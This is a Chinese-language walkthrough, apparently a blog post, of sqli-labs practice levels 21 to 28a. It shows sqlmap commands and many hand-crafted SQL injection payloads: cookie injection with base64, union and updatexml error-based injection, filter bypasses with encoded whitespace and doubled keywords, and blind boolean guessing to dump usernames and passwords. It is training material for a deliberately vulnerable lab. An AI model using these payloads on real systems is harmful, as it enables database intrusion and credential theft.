sqlilabs第二十一关-第二十八a 详解

第二十一关

和二十关的区别是闭合不同,cookie里uname的值进行了base64加密,在使用cookie的时候会进行base64解密,注入代码进行base64加密,

我这里使用的sqlmap进行测试,

python sqlmap.py -u http://localhost/sqli-labs-master/Less-21/ --cookie="uname=1"* --dbms MySQL --threads=10 --batch --tamper=base64encode

--cookie="x=a"

对cookie名为x的参数进行注入,后面加*意思是只对cookie对应的点进行注入测试,不加会判断其他参数是否为注入点

--dbms 数据据名,

也就是明确注入目标数据库名,这里也就是mysql

--threads=线程数(1-10)

--batch

意思是选择默认选项

--tamper=加密方式 例如:--tamper=base64encode

这里爆库名

python sqlmap.py -u http://localhost/sqli-labs-master/Less-21/ --cookie="uname=1"* --dbms MySQL --threads=10 --batch --tamper=base64encode --dbs

接下来爆表名

python sqlmap.py -u http://127.0.0.1/Less-21/ --cookie="uname=1"* --dbms MySQL --threads=10 --batch --tamper=base64encode -D security -tables

爆列名

python sqlmap.py -u http://localhost/sqli-labs-master/Less-21/ --cookie="uname=1"* --dbms MySQL --threads=10 --batch --tamper=base64encode -D security -T users -columns

 

python sqlmap.py -u http://localhost/sqli-labs-master/Less-21/ --cookie="uname=1"* --dbms MySQL --threads=10 --batch --tamper=base64encode -D security -T users -C"id,password,username" -dump

 

 第二十二关

登录之后,可以看出cookie处存在注入

cookie注入查看数据库名称

-admin" union select 1,(select group_concat('~',username,password) from security.users limit 0,1),3 #


LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwoc2VsZWN0IGdyb3VwX2NvbmNhdCgnficsdXNlcm5hbWUscGFzc3dvcmQpIGZyb20gc2VjdXJpdHkudXNlcnMgbGltaXQgMCwxKSwzICM=

第二十三关

输入?id=1' 页面报错 输入 ?id=1' --+/# 都出现报错

查看源码发现过滤了注释符

试了试 ?id=1' or '1'='1,成功

 

?id=-1' union select 1,2,3 or '1'='1

 

下面的就是,查看数据库名,表名,列名,数据值

直接上截图了

第二十四关

添加admin'#用户,利用修改密码,执行语句会把admin用户密码改了

第二十五关

这一关过滤了or and

可以通过判断字段数,回显位 ,查数据库,查表,查列,查字段

或者进行报错注入

1' union select updatexml(1,concat(0x7e,(database())),1) --+

 

 第二十五a关

 这一关需要去掉单引号

 注意information和password中的or要进行上写或者大小写

 第二十六关

这一关过滤了空格 #  or and  /**/  /  \

 

?id=1%27||updatexml(1,concat(0x7e,(select(database())),0x7e),1)||%271%27=%271

?id=1'||updatexml(1,concat(0x7e,(select(database())),0x7e),1)||'1'='1

 

?id=1'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)='security'),0x7e),1)||'1'='1

?id=1'||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name)='users'),0x7e),1)||'1'='1

?id=1'||updatexml(1,concat(0x7e,(select(group_concat(username,passwoorrd))from(users)),0x7e),1)||'1'='1

 

第二十六a关

这一关是单引号+括号的字符型注入

联合注入

?id=1')aandnd('1 

页面回显正常

(由于是windows,不能识别%a0),这里写一下命令

判断显示位

?id=0')union%a0select%a01,2,3%a0anandd('1

爆库名

?id=0')union%a0select%a01,(database()),3%a0anandd('1

 爆表名

?id=0')union%a0select%a01,select%a0group_concat(table_name)from%a0information_schema.tables%a0where%a0table_schema='security',3%a0anandd('1

爆字段

?id=0')union%a0select%a01,select%a0group_concat(column_name)from%a0information_schema.coluns%a0where%a0table_name='users',3%a0anandd('1

爆取数据值

?id=0')union%a0select%a01,select%a0group_concat(username,passwoorrd)from%a0users,3%a0anandd('1

第二十七关

查看源码,过滤了更多的字符

?id=1' and (updatexml(1,concat(0x7e,(sELECt(database()))),1))and'0

 查看数据库

 报表

?id=1' and (updatexml(1,concat(0x7e,(sELECT(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))and'0

 爆列

?id=1' and (updatexml(1,concat(0x7e,(sELECT(group_concat(column_name))from(information_schema.columns)where(table_schema='security')and (table_name='users'))),1))and'0

爆数据值(username,password)

?id=1' and (updatexml(1,concat(0x7e,(sELECT(group_concat(username,password))from(users))),1))and'0

第二十七a关

这是限制的输入字符

针对空格,可以使用 %a0 或 %0b 绕过。

这里是使用联合注入

?id=0"%0aUnioN%0asELEct%0a1,database(),3%0aor%0a"1"="1

 

?id=0"%0aUnioN%0asELEct%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security'%0aor%0a"1"="1

 

?id=0"%0aUnioN%0asELEct%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_name='users'%0aor%0a"1"="1

第二十八关

单引号报错,则一定是单引号注入

 

和上几关差不多,union,select 空格都被过滤了

成功构造出payload

?id=0')uniunion%0aselecton%0aselect%0a1,2,3%0aand%0a('1

 

 

 

 

使用%00截断

?id=0')uniunion%0aselecton%0aselect%0a1,group_concat(username,password),3%0afrom%0ausers%0a;%00

第二十八a关

盲注,只过滤了union+select,单引号括号闭合。

 猜数据库长度 

?id=1') and length((database()))=8 --+

 

 

 猜数据库名 

?id=1') and substr((select database()),1,1)="s" --+

猜表长度:

?id=1') and length((select table_name from information_schema.tables where table_schema=database() limit 0,1) )=6 --+

猜表名

?id=1') and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)="e" --+

 

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值